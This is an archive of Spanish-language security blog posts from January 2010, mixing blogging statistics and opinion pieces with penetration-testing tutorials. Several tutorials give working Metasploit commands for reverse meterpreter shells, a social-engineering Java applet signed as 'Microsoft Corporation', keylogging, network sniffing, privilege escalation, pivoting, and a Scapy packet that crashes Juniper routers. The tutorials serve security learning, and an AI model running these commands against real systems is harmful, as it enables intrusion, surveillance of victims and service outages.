domingo, 31 de enero de 2010

Final del Experimento Blogger!

Hace 15 días atrás, comencé el "Experimento Blogger, 15 Posts en 15 Días", con el propósito de comprobar si la cantidad de posts realizados influyen directamente en la cantidad de visitas recibidas.

Estos fueron los 15 posts realizados:

Día 1: Experimento Blogger, 15 Posts en 15 Días
Día 2: Estalló la CyberGuerra!
Día 3: Obteniendo una Shell de Meterpreter
Día 4: Meterpreter x Tres!
Día 5: Wardialing ¿reloaded?
Día 6: Entrevista a Google
Día 7: Twitteros de Seguridad en Argentina
Día 8: Extrayendo Binarios de Capturas PCAP con Wireshark
Día 9: Jugando con NeXpose y MetaSploit
Día 10: Increíble Bug en JUNOS
Día 11: Descifrando WEP/WPA/WPA2 con Wireshark
Día 12: Los Adolescentes, ¿Son una Advanced Persistent Threat?
Día 13: Crea Tu Avatar Con Photoshop
Día 14: Ingeniería Social con Applets firmados de Java en MetaSploit
Día 15: Final del Experimento Blogger!


Estadísticas del Experimento

Uno puede suponer que si escribís más seguido, vas a recibir más visitas, lo cual comprobé que es cierto, pero la verdadera pregunta es, ¿Cuántas más visitas?

En el caso del RSS, podemos ver que después del último pico hacia abajo, que fue la semana anterior al experimento en donde no escribí nada, crece un poco más rápido la cantidad de lectores, y también, el volumen diario de accesos:



Antes del experimento, el pico máximo de lectores de RSS fue de 643, y después del experimento, el pico máximo fue de 674, osea que se sumaron unos 30 lectores más de RSS en dos semanas.

Las visitas diarias al blog, antes del experimento eran de un promedio de 70, y después del comienzo del mismo, de un poco más de 100 todos los días. 

Los lectores suscriptos por correo electrónico, antes eran 53, y ahora son 53, una persona llamada Ariel se suscribió, y luego a los dos días se desuscribió, ¿Qué me haces Ariel? me arruinas las estadísticas :P


Análisis y Conclusión

Bueno, estoy lejos de ser un conocedor del marketing en Internet, pero mis conclusiones son las siguientes:

Si tu blog ya tiene un crecimiento lento pero sostenido, escribiendo más seguido vas a lograr acelerar ese crecimiento. En el caso de KungFooSion, los lectores que se sumaban por RSS en 1 mes, se sumaron en la mitad de ese tiempo, pero no hubo un crecimiento demasiado importante que llame la atención.

Como comente al comienzo de este experimento, las veces que más creció este blog, fue cuando desde otros blogs, con un tráfico mucho más importante, se mencionára a KungFooSion. Aprovecho para agradecer a Security By Default, Spamloco y Geekotic, por la buena onda :-)

También me paso un par de veces, realizar un post que por alguna razón gustara mucho, y atrajera muchas visitas desde taringa o meneame, pero siempre fueron posts que no tenían demasiado contenido y eran cosas mas anecdóticas o de humor.


Aprendizaje Personal

Tener la obligación de escribir algo todos los días tiene sus aspectos positivos y también negativos.

Lo positivo, es que a veces la creatividad trabaja bajo presión, y cuando menos lo pensas te salen cosas interesantes, o que de otra forma nunca las hubieras hecho.

También, el hecho de explicar o escribir sobre algo, implica un aprendizaje sobre ese tema. En mi caso, termino de aprender las cosas cuando las puedo explicar, y este blog nació como eso, como una forma de aprender.

Lo negativo, es que si realmente no tenés tiempo para escribir, la calidad de los posts baja considerablemente. Creo que en general, durante estos 15 días, mantuve una calidad aceptable, pero también me paso de verme obligado a hacer un post como "Crea Tu Avatar Con Photoshop" por falta de tiempo, o quedarme con las ganas de profundizar o desarrollar un poco más otros posts.

Como conclusión, no me costo tanto escribir todos los días, aunque creo que en adelante, va a ser mas saludable escribir día por medio. Después de todo, esto es solo un "Blog Personal" ;-)


Los 10 Posts Mas Leídos

1. Twitteros de Seguridad en Argentina
2. Estalló la CyberGuerra!
3. Experimento Blogger, 15 Posts en 15 Días
4. Obteniendo una Shell de Meterpreter   
5. Extrayendo Binarios de Capturas PCAP con Wireshark
6. Jugando con NeXpose y MetaSploit    
7. Descifrando WEP/WPA/WPA2 con Wireshark
8. Entrevista a Google
9. Increíble Bug en JUNOS
10. Meterpreter x Tres!

sábado, 30 de enero de 2010

Ingeniería Social con Applets firmados de Java en MetaSploit

En el episodio 185 de PaulDotCom, Carlos Perez explicó como utilizar un nuevo módulo para MetaSploit escrito por Natron, que nos permite crear applets firmados de Java con un payload malicioso.

Lo estuve probando y funciona muy bien, lo único a tener en cuenta es que la víctima debe tener instalado JRE previamente, luego es solo un ataque de ingeniería social, ya que no estamos explotando ninguna vulnerabilidad en un software.

Esta todo muy bien explicado en las notas técnicas del webcast, pero les dejo un resumen de los comandos a continuación:

Antes de llegar a MetaSploit, primero debemos instalar algunas librerías en BackTrack:

# Instalamos Sun Java JDK
apt-get install sun-java6-jdk

# Configuramos Sun Java JDK
echo "JAVA_HOME=/usr/lib/jvm/java-6-sun" >> /etc/bash.bashrc
echo "export JAVA_HOME" >> /etc/bash.bashrc
JAVA_HOME=/usr/lib/jvm/java-6-sun
export JAVA_HOME

# Instalamos la rjb gem
gem install rjb

Luego actualizamos MetaSploit ya que el módulo es muy reciente:

cd /pentest/exploits/framework3
svn update

Lo que vamos a hacer a continuación, es levantar un servidor Web malicioso, que cuando a alguien se conecte a la URL "http://IP_Atacante/kungfoosion", le entregue un applet de java firmado por quien nosotros queramos, y si el usuario decide aceptarlo, ese código se ejecutará en su sistema y vamos a obtener una shell de meterpreter.

El servidor Web lo levantamos en el puerto 80, con "SRVPORT", y escuchamos la conexión reversa de la víctima en el puerto 443, con "LPORT". Con la opción "CERTCN", indicamos por quien va a estar firmado el applet:

./msfconsole
use exploit/multi/browser/java_signed_applet
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.168.0.157
set LPORT 443
set TARGET 1
set URIPATH kungfoosion
set SRVPORT 80
set CERCN Microsoft Corporation
exploit

Una vez que el usuario ingresa a "http://10.168.0.157/kungfoosion", si no posee JRE instalado, le aparecerá la siguiente advertencia en Firefox, preguntándole si lo desea instalar:


Si ya tiene JRE instalado, simplemente le preguntara a la Víctima si confia en el applet de ese website:


Una vez que estamos en meterpreter, podemos utilizar todos los comandos que este nos provee, si usamos "getuid" vamos a ver que estamos corriendo con los privilegios de "Administrador". Ahora, si nos ponemos golosos, también podríamos escalar privilegios a SYSTEM ejecutando "run kitrap0d", el reciente exploit local para Windows de 17 años de antigüedad:


Eso es todo, muy divertido para una tarde de Sábado :)


FUENTE:
- PaulDotCom Episode 185

jueves, 28 de enero de 2010

Los Adolescentes, ¿Son una Advanced Persistent Threat?

Después de escribir "Estalló la CyberGuerra!", y conocer por primera vez el termino Advanced Persistent Threat, me puse a pensar de que tal vez esto de la APT no tenga nada de novedoso.


Una Pequeña Anécdota

Siempre recuerdo a un Administrador de Sistemas amigo mío, que hace varios años atrás, tuvo una seguidilla de ataques a la red de su organización. En ese momento, el ya suponía quienes eran "los hackers" detrás de los ataques, y andaba bastante ocupado tratando de resolver algunas vulnerabilidades de su red, de las cuales el ya tenía conocimiento previo.

Cuando me comenta con una increíble tranquilidad, todos los problemas de seguridad que tenía, y quienes el suponía que eran los atacantes, que era gente con muchos conocimientos, le pregunto, "¿Y no tenés miedo de que te hackeen?"

La respuesta que me dio, me quedo grabada hasta el día de hoy, "No! yo se que estos van a probar un par de semanas y después se olvidan, me dan mas miedo los adolescentes, porque tienen todo el tiempo del mundo, a esos si que les tengo miedo".


APT vs Adolescentes


Salvando las diferencias, si revisamos las características de una Advanced Persistent Threat, también las podemos encontrar en el común de los adolescentes:

- Financiamiento Ilimitado:
La mayoría de los adolescentes son financiados por sus padres. Estos no solo les proveen los recursos necesarios, como una computadora y una conexión a Internet, sino que también los mantienen, por lo que pueden dedicarle mucho tiempo a perseguir sus objetivos.

- Impunidad:
En China, el gobierno protege a los hackers, en Argentina, los menores de edad no son punibles de prisión, y la Justicia deja mucho que desear...

- Motivación:
Acaso, ¿existe una motivación mayor al ego de un adolescente intentando realizar un defacement para conseguir fama?

- Skills:
Si bien los conocimientos vienen con el tiempo, hay muchos chicos que son excelentes penetration testers, mas aun con toda la información disponible que existe hoy en día, y la facilidad para utilizar las herramientas.

Para finalizar, este post es un poco en broma, un poco en serio, pero me da la sensación de que la APT no es mas que un nuevo termino marketinero inventado por los gurúes de la seguridad. No los juzgo para nada, de algo tenemos que vivir ;-)


FUENTES:

miércoles, 27 de enero de 2010

Descifrando WEP/WPA/WPA2 con Wireshark

Wireshark nos brinda la posibilidad de descifrar capturas WEP/WPA/WPA2 de una forma muy sencilla, aunque claro, primero debemos conocer el password.

Pero lo interesante de esto, es que cualquiera podría capturar el tráfico "que pasa por el aire", sin conocer el password, y el día de mañana cuando sea posible obtenerlo, descifrarlo.

Por ejemplo, podríamos capturar todo el tráfico que pasa por un canal, o utilizar placas wireless especiales como AirPcap, para capturar varios canales a la vez:
airodump-ng mon0 --channel 6 -w captura.pcap
Si bien hay algoritmos de cifrado que tardarían cientos de años en ser rotos, siempre existe la posibilidad de que una mala implementación por un fabricante nos allane el camino.

Recuerdo que durante la ekoparty 2008, cuando Luciano Bello presento las vulnerabilidades para OpenSSL en Debian, entre la audiencia había muchas personas que decían tener capturas que a partir de ese momento podrían ser descifradas.

Para descifrar una captura con Wireshark, abrimos la captura, vamos a "Edit -> Preferences", desplegamos "Protocols" a la izquierda, y seleccionamos "IEEE 802.11", luego ponemos el password en el formato correspondiente:



Este post se iba a llamar "Desencriptando ...", como se acostumbra decir en Argentina, pero recordé a un español que me dijo que "desencriptar" significa "sacar a alguien de la cripta", y que el termino correcto era "descifrar".

Wikipedia: Criptología

"En ocasiones se emplean los verbos encriptar y cifrar como sinónimos, al igual que sus respectivas contrapartes, desencriptar y descifrar. No obstante, lo correcto es utilizar el término cifrar en lugar de encriptar, ya que se trata de un anglicismo sin reconocimiento académico, proveniente del término encrypt."

martes, 26 de enero de 2010

Increíble Bug en JUNOS

Con todo el mundo hablando sobre la "Operación Aurora", hay muchas otras cosas que pasan totalmente desapercibidas, como este increíble bug en JUNOS.

Cuesta creer que enviando un simple paquete con la opción 101 de TCP activada, un router de Juniper pueda crashear. Pueden ver un video del blog evilrouters.net a continuación, y también les recomiendo ver Praetorian Prefect, otro blog que escribió bastante al respecto:



El código es muy fácil de reproducir con Scapy, para este ejemplo de evilrouters.net simplemente hay que agregar dos lineas en el archivo inet.py, pero hay muchas formas de hacerlo:

$ diff inet.py inet.py.bak
203,204c203
<                 15 : ("AltChkSumOpt",None),
<                 101 : ("JunOS",None)
---
>                 15 : ("AltChkSumOpt",None)
215d213
<                 "JunOS":101
$

$ sudo scapy
Welcome to Scapy (2.1.0)
>>> p=IP(dst='192.168.1.61')/TCP(dport=23,flags='S',options=[('JunOS', '')])
>>> send(p)
.
Sent 1 packets.
>>>

FUENTES:

- OSVDB: JUNOS kernel cores when it receives an crafted TCP option. - praetorianprefect: Juniper Kernel Crash – scapy Code
- praetorianprefect: JUNOS (Juniper) Kernel Crash Video
- praetorianprefect: JUNOS (Juniper) Flaw Exposes Core Routers to Kernel Crash
- evilrouters: Use scapy to send JunOS killin’ packet
- evilrouters: JunOS PSN-2010-01-623 Exploit

lunes, 25 de enero de 2010

Jugando con NeXpose y MetaSploit

En conjunto con la adquisición de MetaSploit por parte de Rapid7, esta empresa también liberó una Community Edition de NeXpose, que ya tiene cierto grado de integración con MetaSploit.

La Community Edition de NeXpose posee unas cuantas limitaciones, pero no deja de estar muy bueno que productos comerciales liberen versiones gratuitas para la comunidad, como también lo hiciera Maltego tiempo atrás.

A continuación un breve resumen de como utilizarlo, aunque les recomiendo que también lean "NeXpose Plugin" en el Wiki de MetaSploit y "NeXpose Software Installation Guide".


Instalación de NeXpose

Lo primero a realizar es registrarse en la web de Rapid7, para que luego les llegue a su casilla de correo el código de activación, y los links para la descarga del producto.

Antes de comenzar la instalación, es fundamental que lean la "NeXpose Software Installation Guide" para verificar que poseen todas las librerías necesarias, yo lo instale en BackTrack 4 y faltaban algunas. Otra cosa a tener en cuenta, son los requerimientos de hardware, pero básicamente son unos 300MB libres en el disco, y no menos de 1GB de RAM.

Luego no es mas que ejecutar el binario, "Next", "Next", "Next", y listo:

# Para comenzar la instalación:
./NeXposeSetup-Linux32.bin

# Después de instalado, lo corremos:
cd /opt/rapid7/nexpose/nsc
./nsc.sh

# Ingresamos a la web de administración: 
http://localhost:3780/

NeXpose desde MetaSploit

Desde MetaSploit, siempre realizar un "svn update" para actualizar todo, y luego tampoco hay mucho mas. La única diferencia con el manual, es que por el momento hay un problema con la autenticación en SSL, y debemos colocar "ok" al final del comando "nexpose_connect", si es que deseamos conectarnos de todas formas.

./msfconsole

# Creamos la base
db_create

# Cargamos el plugin
load nexpose 

# Nos conectamos a NeXpose
nexpose_connect USUARIO:PASSWORD@10.10.0.208 ok

# Escaneamos a la Victima
nexpose_scan IP_VICTIMA

# Lanzamos AutoPwn!
db_autopwn -t -x -e -r

Con Nessus y OpenVAS también se pueden importar los resultados de un escaneo a MetaSploit, y luego lanzar AutoPwn, pero hasta donde conozco, me parece que no se puede lanzar un escaneo con Nessus/OpenVAS desde MetaSploit.

domingo, 24 de enero de 2010

Extrayendo Binarios de Capturas PCAP con Wireshark

Extraer archivos binarios de una captura de tráfico, es muy sencillo de realizar utilizando Wireshark, a continuación como hacerlo.

En el siguiente ejemplo, la transferencia del binario se realizo a través de FTP, por lo debemos ubicar donde comienza la conexión TCP al canal de datos, si la transferencia hubiera sido por HTTP, podríamos simplemente seleccionar el paquete donde se realiza el pedido, por ejemplo "GET /malware.exe HTTP/1.1".

Una vez seleccionado el paquete, hacemos "botón derecho", "Follow TCP Stream":



Luego simplemente guardamos el resultado con "Save As", verificando que el tilde de "Raw" este seleccionado. Podemos comprobar que estamos por exportar un binario, porque encontramos el header de "MZ" al comienzo, que identifica a los ejecutables de Windows:



Si queremos estar seguros, con el comando "file" podemos verificar que exportamos un binario:


sábado, 23 de enero de 2010

Twitteros de Seguridad en Argentina

A continuación una lista de Twitteros que hablan de seguridad en Argentina.

Falta mucha gente que no esta en esta lista, pero si me dejan comentarios la iré actualizando constantemente. También les recomiendo ver una lista similar a esta con nuestros hermanos Brasileros :-)


(Actualizado el 31/03/10)

Conferencias en Argentina:
http://twitter.com/ekoparty

Empresas y Organizaciones:
http://twitter.com/w3af
http://twitter.com/CoreSecurity
http://twitter.com/seguinfo
http://twitter.com/base4sec

Staff de ekoparty:
http://twitter.com/fede_k - Federico Kirshcbaum
http://twitter.com/famato - Francisco Amato
http://twitter.com/jpdborgna - Juan Pablo Borgna
http://twitter.com/kfs - Leonardo Pigñer 

Gente de Bonsai Security:
http://twitter.com/w3af - Andres Riancho
http://twitter.com/lucasapa - Lucas Apa

Gente de Immunity:
http://twitter.com/nicowaisman - Nico Waisman
http://twitter.com/gnuler - Matias Soler
http://twitter.com/friccobaldi - Franco Riccobaldi
http://twitter.com/snfernandez - Seba Fernandez
http://twitter.com/agustingianni  - Agustin Gianni

Gente de Core Security:
http://twitter.com/MarioVilas - Mario Vilas
http://twitter.com/hannibals - Anibal Sacco
http://twitter.com/ortegaalfredo - Alfredo Ortega
http://twitter.com/acid_
http://twitter.com/__blue__
http://twitter.com/gutes

Gente de Argeniss:
http://twitter.com/cesarcer - Cesar Cerrudo

Gente de Netifera:
http://twitter.com/julianor - Juliano Rizzo

Gente de Root-Secure:
http://twitter.com/simubucks - Ezequiel Sallis
http://twitter.com/holesec - Claudio Caracciolo

Gente de SIClabs:
http://twitter.com/my4ng3l - Hernan Racciatti

Gente de ESET:
http://twitter.com/sebabortnik - Seba Bortnik
http://twitter.com/ignaciosb - Ignacio Sbampato
http://twitter.com/jorgemieres - Jorge Mieres

Ribadeo HackLab:
http://twitter.com/sagar38 - Esteban Guillardoy
http://twitter.com/sector7G - Hernan Abbamonte
http://twitter.com/facuman - Facundo de Gusman

Mas Twitteros:
http://twitter.com/_topo - Sebastian Muñiz
http://twitter.com/feliam - Felipe Manzano
http://twitter.com/ulises2k - Ulises Cuñe
http://twitter.com/searchio - Sergio Alvarez
http://twitter.com/fedequark - Federico Pacheco
http://twitter.com/matts_sk0ll
http://twitter.com/microluciano - Luciano Bello
http://twitter.com/maxisoler - Maxi Soler
http://twitter.com/horusint
http://twitter.com/alexaeko - Alejandra Garcia
http://twitter.com/mfsecblog - Matt
http://twitter.com/artsweb - Marcos Garcia
http://twitter.com/agramajo - Alejandro Gramajo
http://twitter.com/SCavanna - Santiago Cavanna
http://twitter.com/buanzo - Arturo Busleiman
http://twitter.com/enzofava - Enzo Fava
http://twitter.com/tartamar - Martin Tartarelli
http://twitter.com/laramies - Christian Martorella

viernes, 22 de enero de 2010

Entrevista a Google

Con todo este boom mediático de China hackeando Google, me propuse entrevistar a Google para pedirle su opinión al respecto, y afortunadamente accedió!

Google, digame... ¿ Que opinión le merece el gobierno de China ?



Una opinión bastante dura, ¿ Pero al final se va o se queda ?



Y si.. la verdad, me imagino que no debe ser fácil tener a los chinos como una "Advanced Persistent Threat", y mas aun, después de todo lo que usted hizo por ellos, les dio la LIBERTAD!!!



Estemm.. bueno, otra pregunta, ¿ Como cree que los hackers Chinos van a lograr conquistar el mundo ?




Muy interesante, voy a aprovechar la oportunidad, usted que todo lo sabe, para preguntarle ¿ Que es lo que mas le pregunta la gente ?



Para finalizar, ¿ Es verdad que Google planea ser la próxima Microsoft ?



aja! mire usted, la ultima, ¿ Cual es el blog con mas onda de toda la red ?



Y si lo dice Google tiene que ser cierto... :P

jueves, 21 de enero de 2010

Wardialing ¿reloaded?

Finalmente pude conseguir un servidor Asterisk para probar WarVox, la herramienta de wardialing de HD Moore, y como ya lo suponía, esta muy buena!



Al momento de escribir este post, me encontré con "Un vistazo a WarVox", un excelente artículo de SdB, así que no voy a extenderme demasiado en explicaciones.

WarVox ya viene instalado en BackTrack 4 (final!), así que no tuve que hacer mucho. Primero configure el user/pass de acceso a la aplicación en el archivo de configuración, lo ejecute, y accedí a la consola Web:

# Configuro User/Pass para acceder a WarVox
/pentest/voip/warbox/etc/warvox.conf

# Ejecuto WarVox
/pentest/voip/warbox/bin/warvox.rb

# Accedo a la aplicación
http://127.0.0.1:7777

Una vez dentro de WarVox, lo único que hay que configurar es la cuenta de VOIP, donde vamos proveer dirección IP del servidor, usuario y password:




Luego de esto ya esta listo para funcionar, y la interfaz es muy intuitiva, en la página oficial (www.warvox.org) tienen algunos screenshots de la herramienta funcionando.

Lo mejor de la herramienta es que funciona con VOIP, por el momento solo soporta IAX2, aunque estaría bueno que también soporte SIP en el futuro. Otra feature interesante es la de CallerID Spoofing, es increíble lo que uno se puede divertir con esto :D

Sobre wardialers comerciales, la mejor que probé es Sandstorm's PhoneSweep, realmente muy profesional. Mientras que wardialers gratuitos podemos encontrar muchísimos, aunque me quedo con PhoneTag v1.3 Clockwork, una pequeña aplicación para Windows, que ya es tan vieja que no encuentro ningún link oficial, pero lo que tiene de sencilla también lo tiene de efectiva.

Sin dudas el Wardialing no va a pasar nunca de moda, es increíble la cantidad de dispositivos que la gente conecta a una linea telefónica. Recuerdo haber encontrado routers de core, a los que accedías sin proveer ninguna credencial, importantes dispositivos de back-up, centrales telefónicas, etc.

También tengo varias anécdotas, pero creo la mejor fue una vez que tuvimos que realizar un pentest interno/externo a un organismo del gobierno. Recuerdo que como todo el mundo allí trabajaba hasta las 17hs, a partir de ese horario dejamos corriendo un wardialing hasta el día siguiente, para no molestar a nadie claro.

Lo que no sabíamos era que después de ese horario, gran parte de los teléfonos de todo el organismo, eran derivados a una persona que hacia guardias nocturnas.

A la mañana siguiente escuchamos algunas de las cientos de llamadas realizadas, y en todas ellas, esta persona, estoicamente, atendía diciendo "Ministerio buenas tardes", fue realmente increíble, yo creo que habrá pensado que estaban probando su trabajo porque de otra forma no lo entiendo.

Lo peor de todo fue que esa misma tarde, tuvimos que ir a este organismo a realizar el pentest interno, y casualmente nos ubicaron muy cerca de la gente del call center, y estaba esta persona, toda la tarde a las puteadas.

Creo que si se hubiera enterado, que ese grupillo de geeks eran los responsables del "wardialing", no se que hubiera pasado... :/

miércoles, 20 de enero de 2010

Meterpreter x Tres!

En este post, vamos a probar 3 módulos de Meterpreter que nos van a permitir: capturar screenshots del escritorio, sniffear el trafico de red, y utilizar un keylogger.

Para probar lo que veremos a continuación te recomiendo leer primero: "Obteniendo una Shell con Meterpreter".

1. Tomando Screenshots del Escritorio

Con el comando "use espia" cargamos el módulo, y luego con "screenshot nombre_del_archivo", capturamos una imagen del escritorio de la víctima en formato BMP.
use espia
screenshot kungfoosion

Si todo salió bien se debería abrir un browser mostrando la imagen:



No me paso a mi, pero en el caso de que aparezcan pantallas negras, una solución puede ser migrar al proceso explorer.exe, con "ps" listas los procesos, y con "migrate 111" lo migras.

2. Utilizando un Keylogger

Para utilizar el keylogger, primero debemos migrar al proceso al que le queremos capturar la entrada, en este caso notepad.exe.

meterpreter> ps
meterpreter> migrate 844
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop

Es importante realizar el "keyscan_dump" antes del "keyscan_stop", ya que de lo contrario no va a funcionar.




3. Sniffeando el Trafico de Red

Una vez que cargamos el módulo con "use sniffer", listamos las interfaces de red que posee el sistema. Luego a continuación siempre referenciamos a esa interface de red con el numero que posee, en el siguiente ejemplo el "1":
use sniffer
sniffer_interfaces
sniffer_start 1
sniffer_stats 1
sniffer_dump 1 /tmp/captura.pcap
sniffer_stop 1

Con "sniffer_stats" podemos ver algunas estadísticas de la captura. Luego antes de detener la captura, debemos guardarla con "sniffer_dump", de lo contrario perderemos todo lo capturado.

Finalmente con wireshark podemos ver el archivo PCAP generado:



Próximamente mas cosas interesantes con Meterpreter.

martes, 19 de enero de 2010

Obteniendo una Shell de Meterpreter

Con el objeto de simplificar futuros posts relacionados a MetaSploit, vamos a ver 3 formas sencillas de obtener una shell de Meterpreter. Primero explotando una vulnerabilidad, luego utilizando el comando "psexec", y finalmente creando un payload para que lo ejecute la víctima.

1. Explotando una Vulnerabilidad

Podemos listar los exploits con el comando "show exploits", o buscarlos con por una palabra clave con "search". Las conexiones reversas por default utilizan el puerto 4444, si queremos cambiarlo podemos hacerlo con "set LPORT 80", por ejemplo.

use exploit/windows/smb/ms06_040_netapi
set RHOST 10.10.0.20
set PAYLOAD windows/metepreter/reverse_tcp
set LHOST 10.10.0.10
exploit

2. Utilizando PSEXEC

El siguiente modulo es similiar al "psexec" de SysInternals, y si le proveemos el user/pass de la víctima, nos permitirá ejecutar un payload, en este caso Meterpreter:

use windows/smb/psexec
set PAYLOAD windows/metepreter/reverse_tcp
set RHOST 10.10.0.20
set LHOST 10.10.0.10
set SMBUser Administrador
set SMBPass letmein
exploit

3. Creando un Payload Ejecutable

Otra forma, es crear un binario con el payload de Meterpreter y copiarlo a la víctima, en este caso "meterpreter.exe". Luego dejamos escuchando por la conexión reversa, y ejecutamos el binario para generar la conexión:

# creamos el binario
./msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.0.10 X > meterpreter.exe

# dejamos escuchando por la conexión reversa
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.0.10 E

Si alguien conoce otra forma sencilla, siempre con el propósito del testing, por favor deje algún comentario.

lunes, 18 de enero de 2010

Estalló la CyberGuerra!

El reciente ataque informático originado desde China a 33 compañías de USA, que incluyen a Google, Yahoo, Adobe y Juniper Networks, termina de confirmar lo que hace mucho tiempo se viene comentando, la CyberGuerra si existe, y es mas real que nunca.



El Martes 12 de Enero, Google publica "A new approach to China", en donde da cuentas de que fueron una de las víctimas de un ataque originado desde China, y que "probablemente" abandonen ese mercado:

"In mid-December, we detected a highly sophisticated and targeted attack on our corporate infrastructure originating from China that resulted in the theft of intellectual property from Google."

El "highly sophisticated and targeted attack" como lo llama Google, fue realizado durante las fiestas, utilizando un 0-day para Internet Explorer que afecta a las versiones 6, 7 y 8. ¿ Quien habrá sido el empleado deshonesto que no utilizaba Chrome ? Hasta el momento, no esta confirmado que se hallan utilizado 0-days para otros productos, como Adobe, como se especulaba en un comienzo.

Me pregunto si lo de "highly sophisticated" se debe al uso de un 0-day, lo que lamentablemente es cada vez más común hoy en día, o es un intento de excusarse por sus falencias de seguridad. Lo que si llama la atención, es lo altamente dirigidos y coordinados que fueron los ataques.

El Jueves 14 de Enero, una versión del exploit utilizado en estos ataques fue subida a Wepawet, y el Viernes 15, ya teníamos en MetaSploit un PoC funcionando:

./msfconsole
use exploit/windows/browser/ie_aurora
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.0.128
set URIPATH /
exploit

En muchos blogs y Twitter, cuando se refieren a estos ataques, suelen utilizar el termino "Advanced Persistent Threat" (APT), el cual por lo menos yo desconocía hasta hace unos días.

A continuación pueden encontrar una definición bastante clara de APT, aunque también les recomiendo leer este post de Bejtlich al respecto:

"APT or Advanced Persistent Threat describes cyber attacks mounted by organizational teams that have deep resources, advanced penetration skills, specific target profiles and are remarkably persisent in their efforts. They tend to use sophisticated custom malware that can circumvent most defenses, stealthy tactics and demonstrate good situational awareness by evaluating defenders responses and escalating their attack techniques accordingly."

Básicamente, estamos hablando de atacantes con sofisticados conocimientos técnicos, con una misión específica que cumplir, y los recursos necesarios para llevarla a cabo. Características que pueden ser encontradas detrás del gobierno de un país.

Ahora, ¿ por qué no se arma una ecatombe política si todos saben que China esta detrás de los ataques ?

En primer lugar seria muy inocente pensar que solo China tiene la capacidad de realizar una "CyberGuerra", leí en algún lugar que USA, Inglaterra, Francia, Israel, Korea del Norte, Iran y Rusia, también se encuentran activamente realizando estas actividades.

No tengo idea de cual será el marco legal internacional, si es que existe, cuando un ataque informático esta siendo desarrollado por el gobierno de un país, pero me encontré con un blog que presenta unos conceptos muy interesantes extraídos del libro "Inside Cyber Warfare", en donde uno de los capítulos fue escrito por un militar de alto rango de USA.

Una de las ideas que presenta, es que los gobiernos, por lo menos Rusia y China, tienden a utilizar civiles para hacer su trabajo sucio, brindándoles a estos inmunidad por los trabajos que realizan, siempre y cuando ataquen a los enemigos del gobierno. Por supuesto, los gobiernos ganan con esto una "negación plausible", ya que sería muy difícil probar que el ataque fue efectivamente realizado por ellos.

Otra de las ideas presentadas, es que los países que realizan ataques informáticos, o que por su inacción los permitan, están sacrificando su derecho a no ser molestados, y por lo tanto, se los puede contraatacar.

Para finalizar con lo de la CyberGuerra, si están buscando una nueva profesión, les recomiendo que se especialicen en escribir exploits, quien sabe cuanto pueda valer un 0-day en los días por venir. Aunque es probable que en lugar de ser llamados "Security Researcher" o "Exploit Writer", los llamen Capitán o Subcomandante... :P

FUENTES:

domingo, 17 de enero de 2010

Experimento Blogger, 15 Posts en 15 Días

Con el propósito de demostrar si la cantidad de posts realizados, influye directamente en la cantidad de visitas recibidas, voy a realizar 1 post por día, durante los próximos 15 días.

Esto puede parecer algo muy simple para otros bloggers, que acostumbran realizar un post, o muchos mas, por día, pero para este humilde blogger es todo un desafío!

Sinceramente, me saco el sombrero ante aquellos bloggers que tienen la capacidad de postear todos los días. En mi caso, me cuesta mucho trabajo y tiempo cada post que hago. Para que se den una idea, la meta a la que siempre intento llegar, es a la de 2 posts por semana... :D

KungFooSion tiene alrededor de unos 70 visitantes directos por día, 53 lectores suscriptos por correo, y alrededor de 630 lectores de RSS. La mayor cantidad de lectores son a través del RSS, si no sabes que es el RSS te recomiendo que veas este video explicativo.

Durante los últimos meses vengo observando un fenómeno curioso, cada vez que escribo algún tutorial, aumentan los lectores de RSS. Esta es la principal razón que me lleva a preguntarme, ¿ Cuánto mas se podrían incrementar las visitas si posteara mas seguido ?

Otro fenómeno curioso tuvo lugar el 2 de Mayo, cuando la cantidad de suscriptores por RSS prácticamente se duplico en un solo día.



Ese día, Yago Jesus de Security By Default, en mi opinión el mejor blog de seguridad en español de la actualidad, escribió "Blogs interesantes sobre seguridad", en el cual aparecía listado KungFooSion ;)

KungFooSion, también recibe un gran número de visitas de SpamLoco, de Alejandro Eguía, un blog muy interesante que ya es un referente en el mundillo de la seguridad, y de Geekotic, del amigo Galobonte Blasfemus.

En conclusión, veremos si en 15 días hay un aumento importante de lectores, o si por el contrario, puedo continuar con la tranquilidad de mis 2 posts por semana.

Dicho sea de paso, este post cuenta como el día número 1... ;)

ENLACES:
- YouTube: Qué es el RSS (Español)
- Security By Default
- SpamLoco
- Geekotic

jueves, 7 de enero de 2010

Pivoting en MetaSploit con portfwd

Hace un tiempo escribí "Pivoting con MetaSploit", en donde usábamos el comando "route" para atacar una víctima a través de otra. Ahora veremos algo similar, pero usando el comando "portfwd".

El comando "portfwd" de meterpreter nos permite forwardear un puerto local del atacante, a un servicio remoto de una víctima.

Un ejemplo sencillo de analizar, sería que el Atacante, obtenga una shell reversa de meterpreter en la Víctima_1, y a través de esta, conectarnos al Remote Desktop de una Víctima_2, que se encuentre en la misma red local que la Víctima_1.

Los parámetros son muy sencillos, "-l" para el puerto local en el Atacante, "-p" para el servicio remoto y "-r" sería la IP de la segunda víctima.

# Veo las opciones
meterpreter> portfwd -h

# Creo el forwardeo de puertos
meterpreter> portfwd add -l 3389 -p 3389 -r 10.0.0.127

# Listo el forwardeo recién creado
meterpreter> portfwd list

# Si nos equivocamos, lo borramos de esta forma
meterpreter> portfwd delete -l 3389

Una vez creado el forwardeo, si hacemos un "netstat -na" en el sistema del Atacante, veremos que el puerto 3389 esta abierto.

Lo único que restaría, es que el Atacante se conecte localmente al puerto 3389, y logrará conectarse al Remote Desktop de la Víctima_2, pasando por la sesión de meterpreter de la Víctima_1.

En BackTrack podemos usar el comando "rdesktop localhost" para conectarnos:


Mis más sinceras felicitaciones para la gente de MetaSploit, que esta haciendo cosas maravillosas con el framework.

POSTS RELACIONADOS:
- Pivoting con MetaSploit
- HTTP Tunneling con reDuh

lunes, 4 de enero de 2010

TCP 3-Way Handshake con Scapy

Scapy es una poderosa herramienta para manipular paquetes de red. Muchas veces, para jugar con algunos protocolos primero debemos crear una conexión TCP, así que aquí les dejo algunas simples lineas para poder hacerlo.

Antes de comenzar debemos configurar una regla de IPtables para que cuando recibamos el SYN/ACK del servidor, nuestro Sistema Operativo no responda con un RST:

